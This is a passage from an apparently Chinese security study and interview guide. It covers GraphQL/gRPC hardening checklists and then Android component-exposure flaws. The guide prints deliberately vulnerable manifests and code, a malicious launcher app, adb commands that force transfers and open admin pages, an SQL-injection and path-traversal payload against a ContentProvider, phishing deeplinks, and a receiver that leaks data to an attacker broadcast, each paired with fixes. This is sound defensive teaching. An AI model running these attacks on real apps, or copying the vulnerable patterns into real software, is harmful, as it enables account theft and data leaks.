      → "生产环境关建议。但更治本的是字段级授权 —— 知道了字段名也拿不到数据"
        → "字段级授权怎么实现?"
          → "Directive 声明式 + ArchUnit 测试强制新字段必须有声明"
            → "ArchUnit 挂了会不会被 allow_failure 绕过?"
              → "必须 allow_failure: false,挂了不让合并"

追问链 2(DoS):
"GraphQL 怎么防 DoS?"
→ "深度限制够吗?"
  → "不够。深度限制拦不住 first=100000 这种宽度攻击,得用复杂度限制"
    → "复杂度怎么算?"
      → "列表字段成本要乘分页大小,还要按字段配权重"
        → "配不准怎么办?"
          → "所以必须有超时兜底 —— 深度和复杂度都是事前估算,一定会漏,
             超时兜的是'所有你没想到的攻击方式'"

追问链 3(限流被绕过):
"你们怎么限流?"
→ "按请求次数限流,GraphQL 能被绕过吗?"
  → "能。用别名,1 次请求 1000 次操作"
    → "那怎么防?"
      → "限流维度改成字段解析次数 + 限制根字段数量 + 业务侧验证码和失败锁定"
        → "如果攻击者换 IP 呢?"
          → "上设备指纹 + 风控引擎。但根本上说,'
             业务接口自身的防护(验证码/锁定/风控)才是保险柜',
             不能只指望协议层限流"

追问链 4(gRPC):
"gRPC 怎么保证安全?"
→ "mTLS 够吗?"
  → "不够。mTLS 只解决'你是谁'(认证),不解决'你能做什么'(授权)"
    → "那授权怎么做?"
      → "Istio AuthorizationPolicy 做服务级和方法级,业务拦截器做数据级"
        → "Istio 配了之后业务代码还要校验吗?"
          → "要。因为 Istio 看不到 Protobuf 里的内容,判断不了数据归属(BOLA)"
            → "那 AuthorizationPolicy 默认拒绝还是默认允许?"
              → "【默认允许】,必须显式写 spec: {} 才是拒绝。这是最容易踩的坑"

追问链 5(DataLoader):
"GraphQL 的 N+1 怎么解决?"
→ "DataLoader"
  → "DataLoader 的缓存是跨请求的吗?"
    → "不能是。跨请求缓存会导致用户 A 的数据被用户 B 读到(越权泄露),
       而且数据更新后读不到新值(脏读)。必须每个请求 new 一个 Registry"
      → "还有什么坑?"
        → "批量加载没有上限(WHERE id IN 10万个 id),
           批量函数里要带租户条件(否则跨租户越权),
           缓存 key 要带分页参数(否则不同分页串数据)"

3.12 第三章小结

3.12.1 核心认知五条

┌────────────────────────────────────────────────────────────────┐
│  ① GraphQL 把"接口设计权"交给了客户端                            │
│     效率大幅提升,但攻击面也一起交出去了。                        │
│     ★ 所以授权单位从"接口"下沉到"字段",                         │
│       限制单位从"请求次数"改成"复杂度和字段次数"。                 │
├────────────────────────────────────────────────────────────────┤
│  ② GraphQL 的 DoS 威力是 REST 的一万倍                           │
│     500 字节的请求体 → 10^12 次数据库查询。                       │
│     ★ 三件事必做:深度限制(拦套娃)                              │
│                    + 复杂度限制(拦宽度)                        │
│                    + 超时(拦所有你没想到的)                     │
│     少做一件都可能被打穿。                                       │
├────────────────────────────────────────────────────────────────┤
│  ③ 关内省只是"把钥匙藏在地垫下面"                                │
│     字段名会靠 "Did you mean" 泄露,前端 JS 里也有一份 Schema。    │
│     ★ 治本是【字段级授权】:                                     │
│       不要靠"攻击者不知道字段名"保安全,                          │
│       要靠"知道了也拿不到数据"。                                 │
├────────────────────────────────────────────────────────────────┤
│  ④ gRPC 用二进制换性能,代价是【传统安全设备全部失明】             │
│     WAF 看不到、网关看不到、日志看不到、DLP 看不到。              │
│     ★ 安全重心必须从"边界设备"转移到"服务自身":                  │
│       mTLS(服务身份)+ 拦截器(认证授权审计)                    │
│       + 服务网格(统一配置)+ 结构化日志(因为别处看不到了)       │
├────────────────────────────────────────────────────────────────┤
│  ⑤ 服务网格不是银弹,业务代码的校验不能省                         │
│     Istio 能管"order-service 可以调 PaymentService/Transfer",    │
│     但【看不到 Protobuf 里的 user_id】,判断不了数据归属。         │
│     ★ 分工:网格做粗粒度(服务级/方法级)                        │
│            业务做细粒度(数据级/字段级/业务规则)                 │
│     而且 Istio 的 AuthorizationPolicy 【默认是允许】,            │
│     不配 = 全放行,必须显式写 spec: {} 才是默认拒绝。             │
└────────────────────────────────────────────────────────────────┘

3.12.2 一句话记忆法(面试开场白)

REST:守门(每个接口一道门) GraphQL:守图(每个节点和每条边) gRPC:守身份(因为中间没人看得见内容)

3.12.3 三份“上线前必查”清单

GraphQL 上线前(10 项):

☐ 生产内省已关闭
☐ "Did you mean" 建议已关闭
☐ /graphiql、/playground 已下线
☐ 查询深度限制 ≤ 15
☐ 查询复杂度限制已配置(且列表字段乘分页大小)
☐ 分页参数硬上限 ≤ 1000
☐ 根字段数量 ≤ 20、同名字段重复 ≤ 10
☐ 批量请求已禁用或限制大小
☐ DataLoader 已接入且是请求级实例
☐ 敏感字段已做字段级授权(ArchUnit 测试通过)
☐ 整体超时 + 独立线程池已配置

gRPC 上线前(10 项):

☐ 反射服务已关闭(生产)
☐ mTLS 为 STRICT 模式
☐ 未使用 InsecureTrustManagerFactory
☐ 证书自动轮换(≤1 小时)
☐ AuthorizationPolicy 已配置,且有"默认拒绝"策略
☐ 消息大小限制(入站 + 出站)
☐ 并发流数、连接数、keepalive 已限制
☐ 错误处理不透出堆栈和 SQL
☐ 结构化审计日志已接入
☐ 内外消息类型已分离(UserPublic vs UserInternal)

通用(不论什么协议):

☐ 认证(你是谁)—— 不能依赖网络位置
☐ 授权(你能做什么)—— 对象级 + 功能级 + 数据级
☐ 限流(你不能滥用)—— 维度要对(不是请求数,是操作次数)
☐ 超时(你不能拖死我)—— 兜底,必做
☐ 日志(我能追溯)—— 结构化,含身份和结果
☐ 默认拒绝 —— 所有安全配置的通用原则


第四章:移动 App 与小程序安全(客户端不可信的极致)

本章定位:前三章讲的是“服务端怎么防客户端”。 本章反过来讲一个更残酷的事实:在移动端,客户端是完全在攻击者手里的。

★ 一句话概括本章的核心矛盾:

Web 时代:  用户输入不可信  →  数据来自用户,代码在我这
移动时代:  客户端不可信    →  代码也在用户手里(能反编译、能 Hook、能改内存)
小程序时代:代码在平台手里  →  但你的 AppID、云函数、接口还是你的

三个必须建立的认知:

认知 含义 推论
① 客户端的任何校验都只是“用户体验”,不是“安全控制” App 里写的“余额不能为负”、“VIP 才能看”都能被绕过(改内存 / Hook / 改包) 所有校验必须在服务端重做一遍
② App 里没有任何“秘密” 硬编码的 API Key、加解密密钥、签名算法,都能被反编译出来 密钥不能放客户端,签名要用动态下发的或服务端做
③ 移动端 90% 的漏洞其实是“接口漏洞” App 只是壳,真正的攻击面在它调的 API 第二章的 BOLA/BOPLA 在移动端一个都不少,而且更难被发现

本章路线图:

  • 4.1 移动端与 Web 的根本差异(理论地基)
  • 4.2 Android 四大组件暴露与 Intent 伪造
  • 4.3 Android 数据存储与 WebView 安全
  • 4.4 Android 逆向、Hook 与加固对抗
  • 4.5 iOS 安全(钥匙串、越狱、ATS)
  • 4.6 小程序安全(解包、登录态、云函数越权)
  • 4.7 ★ 移动端接口安全(签名、防重放、设备指纹、证书绑定)
  • 4.8 OWASP MASVS / Mobile Top 10 对照
  • 4.9 面试题 D 组
  • 4.10 小结

4.1 先讲清楚:移动端安全和 Web 到底差在哪

4.1.1 一句话定义 + 生活类比

移动端安全的核心问题:客户端运行在攻击者完全控制的设备上。

生活类比(★ 记住这个,面试讲这个很加分):

Web 应用 = 你在银行柜台办业务。 柜员(服务端)在银行里,你(客户端)在柜台外,中间隔着防弹玻璃。 你能做的只有“递纸条(发请求)”,而且你碰不到柜员的电脑。

移动 App = 银行把一台 ATM 机送到你家。 ATM 机的外壳能拆(反编译), 电路板能改(Hook / 改内存), 机器里的说明书能读(strings / 反汇编), 甚至能接个假键盘骗它(Frida 注入)。

★ 所以:ATM 机里不能放金库钥匙(密钥不能硬编码), ATM 机上的“余额不能为负”提示只是装饰(校验必须在服务端)。“

4.1.2 五个根本差异(面试必答)

维度 Web 移动 App 小程序
代码在哪 服务端(用户看不到) 用户设备上(可反编译) 平台服务器(用户下载的是打包文件,也能解包)
能改吗 不能 能(改包、Hook、改内存) 能(改本地缓存,改不了远端代码)
存储安全 服务端数据库 SharedPreferences / SQLite / Keychain(设备上) 平台提供的 Storage(沙箱隔离)
身份凭据放哪 HttpOnly Cookie(JS 拿不到) 必须存在本地(Token 一定在设备上) Storage(平台隔离)
网络可信吗 走公网,有 TLS 用户可能装了根证书做中间人(抓包) 平台强制 HTTPS
运行环境可信吗 浏览器(相对可信) 可能 Root / 越狱 / 模拟器 / 多开 平台沙箱(相对可信,但有模拟器)

4.1.3 ★ 移动端的“信任边界”图(必须理解)

┌───────────────────────────────────────────────────────────┐
│  完全不可信区(攻击者的地盘)                                │
│                                                            │
│   ┌──────────────────────────────────────────┐            │
│   │  App 进程                                 │            │
│   │   • 代码可被反编译 / 篡改 / 重打包          │            │
│   │   • 内存可被读写(Frida / Xposed / 改内存) │            │
│   │   • 本地存储可被读(Root 后直接读文件)      │            │
│   │   • 网络流量可被抓(装个根证书就行)         │            │
│   │   • 函数调用可被 Hook(改返回值)           │            │
│   └──────────────────┬───────────────────────┘            │
│                      │ ★ 信任边界在这里                     │
└──────────────────────┼────────────────────────────────────┘
                       │
                       │  HTTPS + 证书绑定 + 接口签名
                       ▼
┌───────────────────────────────────────────────────────────┐
│  服务端(你的地盘)                                          │
│   • 所有校验必须在这里重做一遍                                │
│   • 不相信客户端传来的任何东西(包括"我是 VIP"这种标记)       │
│   • 密钥只在这里                                            │
└───────────────────────────────────────────────────────────┘

★ 一句话:
  客户端做的所有事情,都只能当作"提示",
  服务端必须独立地、完整地、再判断一次。

4.1.4 移动端最常见的 5 类漏洞(先看全貌)

类别 典型问题 占比(大致)
① 接口漏洞(★ 最多) BOLA 越权、签名算法可被逆向、Token 长期有效、无防重放 ~60%
② 本地存储泄露 Token/密码明文存 SharedPreferences、SQLite 里存敏感数据、日志打印敏感信息 ~20%
③ 组件暴露 Android 四大组件 exported=true、Deeplink 劫持、WebView 漏洞 ~10%
④ 运行时攻击 Root/越狱、Frida Hook、动态注入、多开、模拟器、改内存 ~5%
⑤ 代码与配置 硬编码密钥、API Key 泄露、调试开关未关、日志未关 ~5%

★ 面试金句(很重要,体现认知深度): “很多人把移动端安全的重点放在’防逆向、防 Hook、加壳加固’上, 但从实际漏洞分布看,60% 的移动安全问题其实是接口问题 —— 就是第二章讲的 BOLA、BOPLA、认证失效,只不过调用方从浏览器变成了 App。

而且移动端更危险:App 的接口很难被 WAF 和网关识别(它没有 Referer、没有 User-Agent 指纹、请求是原生发出的), 加上大多数团队对移动端接口的监控和限流都做得比 Web 端松, 攻击者抓个包就能拿到接口,然后直接用 curl 批量拖库,一条日志都看不出异常。

所以移动端安全的优先级应该是: ① 接口安全(BOLA + 签名 + 防重放 + Token 管理)→ ② 本地存储 → ③ 组件暴露 → ④ 运行时防护 → ⑤ 代码加固 加固(加壳、混淆)是最后 5%,但很多团队把它当成全部。“


4.2 Android 四大组件暴露与 Intent 伪造

4.2.1 先讲四个概念(不懂这四个后面的攻击都看不懂)

组件 白话 类比
Activity 一个“页面”(界面) 银行的一个窗口
Service 后台干活的(无界面) 银行的后台处理中心
BroadcastReceiver 收广播的(监听系统/应用消息) 银行的广播喇叭(听到“3 号窗口暂停服务”就响应)
ContentProvider 给其他 App 提供数据的接口 银行的公告牌(别人可以来查)

★ exported 属性是什么?

exported 决定这个组件能不能被其他 App 调用。

  • exported=true:任何 App 都能启动你的这个 Activity / 调你的 Service
  • exported=false:只有你自己的 App(同 UID)能调

生活类比: exported=true 相当于银行的后门没锁,任何路人都能推门进去。 而且很多开发者是被动开的 —— 只要在 AndroidManifest.xml 里给组件配了 <intent-filter>, Android 就会默认把 exported 设成 true(Android 12 之前的行为)。

4.2.2 漏洞 1:Activity 暴露导致“绕过登录页”

漏洞代码:

<!-- ❌❌❌ AndroidManifest.xml:给了 intent-filter,于是默认 exported=true -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.bank">

    <application>
        <!-- 登录页 -->
        <activity android:name=".LoginActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- ❌ 危险:用户主页,本该登录才能进 -->
        <activity android:name=".UserProfileActivity"
                  android:exported="true">     <!-- ★ 明写 true,或者配了 intent-filter 被默认成 true -->
        </activity>

        <!-- ❌ 更危险:转账页面暴露了! -->
        <activity android:name=".TransferActivity">
            <intent-filter>
                <action android:name="com.example.bank.TRANSFER" />
                <!-- ★ 配了 intent-filter → Android 12 之前默认 exported=true -->
            </intent-filter>
        </activity>

        <!-- ❌ 最危险:管理后台页面 -->
        <activity android:name=".AdminPanelActivity"
                  android:exported="true">
        </activity>
    </application>
</manifest>
/**
 * ❌ 危险:Activity 里没有校验调用方,也没有校验登录态
 */
public class TransferActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_transfer);

        // ❌ 没有任何校验:谁启动我都能用
        String fromAccount = getIntent().getStringExtra("from_account");
        String toAccount   = getIntent().getStringExtra("to_account");
        long   amount      = getIntent().getLongExtra("amount", 0);

        // ❌ 直接执行转账
        transfer(fromAccount, toAccount, amount);
    }
}

攻击方式(恶意 App,不需要任何权限):

/**
 * 攻击 App —— 只要安装在同一台手机上,就能启动目标 App 的暴露组件
 */
public class AttackActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // ===== 攻击 1:直接打开转账页面(绕过登录)=====
        Intent transfer = new Intent();
        transfer.setClassName("com.example.bank",
                              "com.example.bank.TransferActivity");
        transfer.putExtra("from_account", "受害者账号");
        transfer.putExtra("to_account",   "攻击者账号");
        transfer.putExtra("amount",       999999L);
        startActivity(transfer);        // ★ 转账页面被打开了,用户看到的是真实界面

        // ===== 攻击 2:打开用户资料页,看敏感信息 =====
        Intent profile = new Intent();
        profile.setClassName("com.example.bank",
                             "com.example.bank.UserProfileActivity");
        startActivity(profile);

        // ===== 攻击 3:打开管理后台 =====
        Intent admin = new Intent();
        admin.setClassName("com.example.bank",
                           "com.example.bank.AdminPanelActivity");
        startActivity(admin);
    }
}

也可以用 adb 直接测(不需要写 App):

# ===== 绕过登录直接进入转账页 =====
adb shell am start -n com.example.bank/.TransferActivity \
  --es from_account "6222000012345678" \
  --es to_account   "6222999987654321" \
  --el amount 999999

# ===== 打开管理后台 =====
adb shell am start -n com.example.bank/.AdminPanelActivity

# ★ 这就是为什么"Activity 暴露"是高危漏洞:
#   不需要 Root、不需要任何权限、装个普通 App 就能触发

✅ 修复:

<!-- ✅ 修复 1:所有不需要对外暴露的组件,显式设 exported=false -->
<manifest>
    <application>
        <!-- ✅ 只有启动页需要 exported=true(因为要被 Launcher 启动)-->
        <activity android:name=".LoginActivity"
                  android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- ✅ 内部页面:显式 exported=false(★ 一定要显式写,别依赖默认行为)-->
        <activity android:name=".UserProfileActivity"
                  android:exported="false" />

        <activity android:name=".TransferActivity"
                  android:exported="false" />     <!-- ★ 去掉 intent-filter -->

        <activity android:name=".AdminPanelActivity"
                  android:exported="false" />

        <!-- ✅ Service / Receiver / Provider 同理 -->
        <service android:name=".SyncService"
                 android:exported="false" />

        <receiver android:name=".BootReceiver"
                  android:exported="false" />

        <!-- ✅ Provider 用 permission 保护 -->
        <provider android:name=".UserDataProvider"
                  android:authorities="com.example.bank.provider"
                  android:exported="false"        <!-- ★ 或 false -->
                  android:grantUriPermissions="false" />
    </application>
</manifest>
/**
 * ✅ 修复 2:即使 exported,也要在代码里校验调用方和登录态(纵深防御)
 */
public class SecureTransferActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // ★ ① 校验登录态(★ 最重要)
        if (!SessionManager.isLoggedIn()) {
            Log.w("SEC", "未登录访问转账页,拒绝");
            finish();
            startActivity(new Intent(this, LoginActivity.class));
            return;
        }

        // ★ ② 校验调用方签名(确认是自家 App 启动的,不是第三方)
        if (!isCalledBySelf()) {
            Log.e("SEC", "检测到外部 App 调用转账页,拒绝");
            SecurityLogger.report("EXTERNAL_ACTIVITY_CALL", getCallingPackage());
            finish();
            return;
        }

        // ★ ③ 二次认证(转账这种敏感操作,必须再验证一次密码/指纹)
        if (!BiometricHelper.authenticate(this, "请验证身份以完成转账")) {
            finish();
            return;
        }

        setContentView(R.layout.activity_transfer);

        // ★ ④ 金额校验(客户端校验只是体验,服务端还要再校验)
        long amount = getIntent().getLongExtra("amount", 0);
        if (amount <= 0 || amount > getDailyLimit()) {
            Toast.makeText(this, "金额非法", Toast.LENGTH_SHORT).show();
            finish();
            return;
        }
    }

    /**
     * ★ 校验调用方是不是自己(通过签名比对,而不是包名 —— 包名可伪造)
     */
    private boolean isCalledBySelf() {
        String callingPkg = getCallingPackage();
        if (callingPkg == null) {
            // ★ 注意:startActivity 方式启动时 getCallingPackage() 返回 null
            //        所以这个校验只对 startActivityForResult 有效
            //        更可靠的做法是用 ActivityManager 查最近任务
            return true;   // 无法判断时放行(登录态校验才是主要防线)
        }

        if (!getPackageName().equals(callingPkg)) {
            return false;
        }

        // ★ 签名比对(防"同包名不同签名"的恶意 App)
        try {
            PackageInfo pi = getPackageManager().getPackageInfo(
                    callingPkg, PackageManager.GET_SIGNING_CERTIFICATES);
            Signature[] sigs = pi.signingInfo.getApkContentsSigners();
            String callerSig = SecurityUtils.sha256(sigs[0].toByteArray());
            return TRUSTED_SIGNATURE.equals(callerSig);
        } catch (Exception e) {
            Log.e("SEC", "校验调用方签名失败", e);
            return false;
        }
    }
}

4.2.3 漏洞 2:ContentProvider 暴露导致数据泄露

漏洞代码:

<!-- ❌ 危险:Provider 对外暴露且无权限保护 -->
<provider android:name=".UserDataProvider"
          android:authorities="com.example.bank.provider"
          android:exported="true" />       <!-- ★ 任何人都能查 -->
/**
 * ❌ 危险:query() 里没有任何鉴权
 */
public class UserDataProvider extends ContentProvider {

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
        SQLiteDatabase db = dbHelper.getReadableDatabase();

        // ❌ 直接查,不校验调用方身份
        return db.query("users", projection, selection, selectionArgs,
                        null, null, sortOrder);
        // ★ 攻击者可以查任意表、任意条件
    }
}

攻击:

# ===== 用 adb 直接查询暴露的 ContentProvider =====
# ① 先看有哪些 Provider
adb shell dumpsys package com.example.bank | grep -A5 "Provider"

# ② 查询数据(★ 不需要 Root)
adb shell content query --uri content://com.example.bank.provider/users

# 输出(全部用户数据泄露):
# Row: 0 id=1, username=admin, password_hash=$2a$10$..., phone=13800138000, idcard=1101...
# Row: 1 id=2, username=zhangsan, password_hash=$2a$10$..., phone=13900139000, idcard=1102...
# ...

# ③ ★ SQL 注入(如果 Provider 拼了 SQL)
adb shell content query --uri content://com.example.bank.provider/users \
  --where "1=1) UNION SELECT name,sql,null,null FROM sqlite_master--"

# ④ 有些 Provider 还支持文件读取(android:grantUriPermissions + FileProvider 配置错误)
adb shell content read --uri content://com.example.bank.provider/../../etc/hosts

✅ 修复:

<!-- ✅ 修复:不对外暴露;如果必须暴露,加权限保护 -->
<provider android:name=".UserDataProvider"
          android:authorities="com.example.bank.provider"
          android:exported="false"                  <!-- ★ 首选:不暴露 -->
          android:grantUriPermissions="false" />
<!-- ✅ 如果必须跨 App 共享(比如主 App 和小程序宿主),用自定义权限 -->
<manifest>
    <!-- ① 定义权限,protectionLevel=signature 表示"只有同签名 App 能拿到" -->
    <permission android:name="com.example.bank.permission.READ_USER"
                android:protectionLevel="signature" />

    <application>
        <!-- ② Provider 要求这个权限才能访问 -->
        <provider android:name=".UserDataProvider"
                  android:authorities="com.example.bank.provider"
                  android:exported="true"
                  android:permission="com.example.bank.permission.READ_USER"  <!-- ★ -->
                  android:grantUriPermissions="false" />
    </application>
</manifest>
/**
 * ✅ 修复:Provider 里做鉴权 + 投影白名单
 */
public class SecureUserDataProvider extends ContentProvider {

    /** ★ 允许查询的列白名单(防止查 password_hash)*/
    private static final Set<String> ALLOWED_COLUMNS =
            Set.of("id", "username", "nickname", "avatar");

    private static final int CODE_USERS = 1;
    private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
    static {
        // ★ 用 UriMatcher 严格限制能访问的 URI(防止拼路径访问其他表)
        uriMatcher.addURI("com.example.bank.provider", "users", CODE_USERS);
    }

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {

        // ★ ① 校验调用方权限
        if (getContext().checkCallingPermission(
                "com.example.bank.permission.READ_USER")
                != PackageManager.PERMISSION_GRANTED) {
            throw new SecurityException("没有权限访问该数据");
        }

        // ★ ② 检查 URI 是否在白名单里
        if (uriMatcher.match(uri) != CODE_USERS) {
            throw new IllegalArgumentException("不支持的 URI: " + uri);
        }

        // ★ ③ 投影白名单:过滤掉敏感列
        String[] safeProjection = filterProjection(projection);

        // ★ ④ 校验 selection(防 SQL 注入,虽然参数化后基本安全,但仍是纵深防御)
        if (selection != null && containsDangerous(selection)) {
            throw new IllegalArgumentException("非法的查询条件");
        }

        SQLiteDatabase db = dbHelper.getReadableDatabase();

        // ★ ⑤ 参数化查询(selection 作为 whereClause,selectionArgs 作为参数)
        return db.query("users", safeProjection, selection, selectionArgs,
                        null, null, sortOrder);
    }

    private String[] filterProjection(String[] projection) {
        if (projection == null) {
            return ALLOWED_COLUMNS.toArray(new String[0]);
        }
        List<String> filtered = Arrays.stream(projection)
                .filter(ALLOWED_COLUMNS::contains)
                .toList();
        if (filtered.isEmpty()) {
            throw new IllegalArgumentException("没有可查询的列");
        }
        return filtered.toArray(new String[0]);
    }

    private boolean containsDangerous(String s) {
        String lower = s.toLowerCase();
        return lower.contains("union") || lower.contains("sqlite_master")
                || lower.contains(";") || lower.contains("--");
    }
}

4.2.4 漏洞 3:BroadcastReceiver 暴露(伪造广播 / 信息泄露)

漏洞代码:

<!-- ❌ 危险:Receiver 对外暴露,任何人都能发广播给它 -->
<receiver android:name=".CommandReceiver"
          android:exported="true">
    <intent-filter>
        <action android:name="com.example.bank.COMMAND" />
    </intent-filter>
</receiver>
/**
 * ❌ 危险:收到广播就直接执行指令
 */
public class CommandReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String cmd = intent.getStringExtra("command");

        // ❌❌❌ 直接执行"命令",等同于后门
        if ("transfer".equals(cmd)) {
            String to = intent.getStringExtra("to");
            long amount = intent.getLongExtra("amount", 0);
            transfer(to, amount);       // ★ 任何 App 都能让你转账
        } else if ("logout".equals(cmd)) {
            logout();
        } else if ("export_data".equals(cmd)) {
            // ★ 通过广播把数据发出去 = 数据外泄
            Intent leak = new Intent("attacker.ACTION");
            leak.putExtra("data", getAllUserData());
            context.sendBroadcast(leak);
        }
    }
}

攻击:

# 用 adb 发广播(不需要 Root)
adb shell am broadcast -a com.example.bank.COMMAND \
  --es command "transfer" \
  --es to "6222999987654321" \
  --el amount 999999

# ★ 更简单的:直接发一个带敏感数据的广播,看 Receiver 会不会打印到 logcat
adb shell am broadcast -a com.example.bank.COMMAND --es command "export_data"
adb logcat | grep -i "bank"        # ★ 数据可能直接出现在日志里

✅ 修复:

<!-- ✅ 修复:不暴露 + 用权限保护 + Android 12+ 必须显式声明 exported -->
<receiver android:name=".CommandReceiver"
          android:exported="false"                    <!-- ★ 首选 -->
          android:permission="com.example.bank.permission.COMMAND" />
/**
 * ✅ 修复:Receiver 里校验发送方
 */
public class SecureCommandReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        // ★ ① 校验发送方包名和签名
        if (!isTrustedSender(context)) {
            Log.e("SEC", "收到不可信来源的广播,忽略");
            return;
        }

        String action = intent.getAction();
        if (!"com.example.bank.COMMAND".equals(action)) {
            return;
        }

        // ★ ② 指令白名单(绝不执行任意"命令")
        String cmd = intent.getStringExtra("command");
        switch (cmd == null ? "" : cmd) {
            case "sync" -> doSync();         // 只允许安全的指令
            default -> Log.w("SEC", "未知指令,忽略: " + cmd);
        }
    }

    /**
     * ★ 用 LocalBroadcastManager(应用内广播,其他 App 收不到也发不进来)
     *   这是最干净的方案 —— 如果广播只在 App 内部用,根本不该对外暴露
     */
    public static void sendInternalBroadcast(Context ctx, Intent intent) {
        LocalBroadcastManager.getInstance(ctx).sendBroadcast(intent);
        // ★ LocalBroadcastManager 已废弃,替代方案:
        //   ① 用 exported=false 的普通广播
        //   ② 用 androidx.localbroadcastmanager 的替代品(LiveData / Flow)
        //   ③ 用 setPackage(自己的包名) 限定接收方
    }
}

先理解 Deeplink(★ 面试常考):

Deeplink = 用一个 URL 直接打开 App 的某个页面。 比如点 myapp://product/123 就直接打开 App 的商品详情页,而不是网页。

AppLink(Android 6+)= Deeplink 的“官方认证版”,用 https:// 开头 + 域名验证, 避免多个 App 抢同一个 scheme。

生活类比:

Deeplink 就像“快递柜取件码“ —— 谁拿着码都能开柜。 如果取件码是 myapp://user/9527, 那任何人给你发这个链接,点开就直接进 App 的某个页面了。

漏洞 1:Deeplink 劫持(钓鱼 + 绕过)

<!-- ❌ 危险:Deeplink Activity 暴露,且没有校验 -->
<activity android:name=".DeepLinkActivity"
          android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="user" />
    </intent-filter>
</activity>
/**
 * ❌ 危险:直接取 URL 参数去加载(★ 等同于开放重定向 + 可能的 WebView RCE)
 */
public class DeepLinkActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri = getIntent().getData();
        // ❌ 直接用 URL 参数
        String path = uri.getQueryParameter("url");
        webView.loadUrl(path);      // ★❌❌❌ 加载任意 URL = WebView 漏洞
    }
}

攻击方式:

① 钓鱼页面诱导点击:
   <a href="myapp://transfer?to=攻击者账号&amount=999999">点击领取红包</a>
   → 用户点开,直接进 App 的转账页

② 恶意网页自动跳转(★ 不需要用户点):
   <script>location.href = "myapp://user/1";</script>
   → 打开浏览器就自动跳 App

③ ★ Deeplink 劫持(多个 App 注册同一个 scheme):
   攻击者也写个 App,注册 myapp:// scheme
   → 用户点链接时系统弹出"用哪个 App 打开"
   → 用户可能选了攻击者的 App → 钓鱼

④ ★ 参数注入到 WebView(配合 WebView 漏洞 RCE):
   myapp://webview?url=file:///data/data/com.example.bank/databases/users.db
   → WebView 加载本地数据库文件(如果开了 setAllowUniversalAccessFromFileURLs)

✅ 修复:

<!-- ✅ 修复 1:用 AppLink(https scheme + 域名验证),不用自定义 scheme -->
<activity android:name=".DeepLinkActivity"
          android:exported="true"
          android:autoVerify="true">          <!-- ★ 关键:启用域名自动验证 -->
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <!-- ★ 用 https + 自己的域名,而不是自定义 myapp:// -->
        <data android:scheme="https"
              android:host="app.example.com"
              android:pathPrefix="/user" />
    </intent-filter>
</activity>
<!-- ✅ 需要在自己的域名下放一个验证文件:
     https://app.example.com/.well-known/assetlinks.json
-->
<!--
[{
  "relation": ["delegate_permission/common.handle_all_urls"],
  "target": {
    "namespace": "android_app",
    "package_name": "com.example.bank",
    "sha256_cert_fingerprints": ["AA:BB:CC:..."]      ← App 签名指纹
  }
}]
-->
/**
 * ✅ 修复 2:Deeplink Activity 里做严格校验
 */
public class SecureDeepLinkActivity extends Activity {

    /** ★ 允许的 host 白名单 */
    private static final Set<String> ALLOWED_HOSTS = Set.of("app.example.com");
    /** ★ 允许的 path 前缀白名单 */
    private static final Set<String> ALLOWED_PATHS = Set.of("/user", "/product", "/order");

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri = getIntent().getData();

        // ★ ① 空值检查
        if (uri == null) {
            finish();
            return;
        }

        // ★ ② host 白名单(★ 关键:防止别的域名伪造)
        String host = uri.getHost();
        if (host == null || !ALLOWED_HOSTS.contains(host)) {
            Log.e("SEC", "非法的 Deeplink host: " + host);
            finish();
            return;
        }

        // ★ ③ path 白名单
        String path = uri.getPath();
        if (path == null || ALLOWED_PATHS.stream().noneMatch(path::startsWith)) {
            Log.e("SEC", "非法的 Deeplink path: " + path);
            finish();
            return;
        }

        // ★ ④ 校验来源(防止从不可信网页跳进来)
        if (!isFromTrustedSource()) {
            Log.w("SEC", "Deeplink 来源不可信");
            // 对于敏感操作,要求重新验证
        }

        // ★ ⑤ 敏感页面要求登录 + 二次认证
        if (isSensitivePage(path) && !SessionManager.isLoggedIn()) {
            Intent login = new Intent(this, LoginActivity.class);
            login.putExtra("redirect_uri", uri.toString());
            startActivity(login);
            finish();
            return;
        }

        // ★ ⑥ 【绝不】用 Deeplink 参数直接加载 WebView
        //    ❌ webView.loadUrl(uri.getQueryParameter("url"));
        //    ✅ 只允许打开固定的白名单页面
        openPageByPath(path, uri);
    }

    private boolean isFromTrustedSource() {
        // 检查 getReferrer()(Android 5.1+)
        Uri referrer = getReferrer();
        if (referrer == null) return false;
        String refHost = referrer.getHost();
        return refHost != null
                && (refHost.endsWith(".example.com")
                    || refHost.equals("example.com"));
    }

    private boolean isSensitivePage(String path) {
        return path.startsWith("/user")
                || path.startsWith("/order")
                || path.startsWith("/pay");
    }

    private void openPageByPath(String path, Uri uri) {
        // 按白名单分发,绝不通用跳转
        if (path.startsWith("/product")) {
            String id = uri.getLastPathSegment();
            if (id != null && id.matches("\\d+")) {      // ★ 参数格式校验
                openProductDetail(id);
            }
        } else if (path.startsWith("/order")) {
            String id = uri.getLastPathSegment();
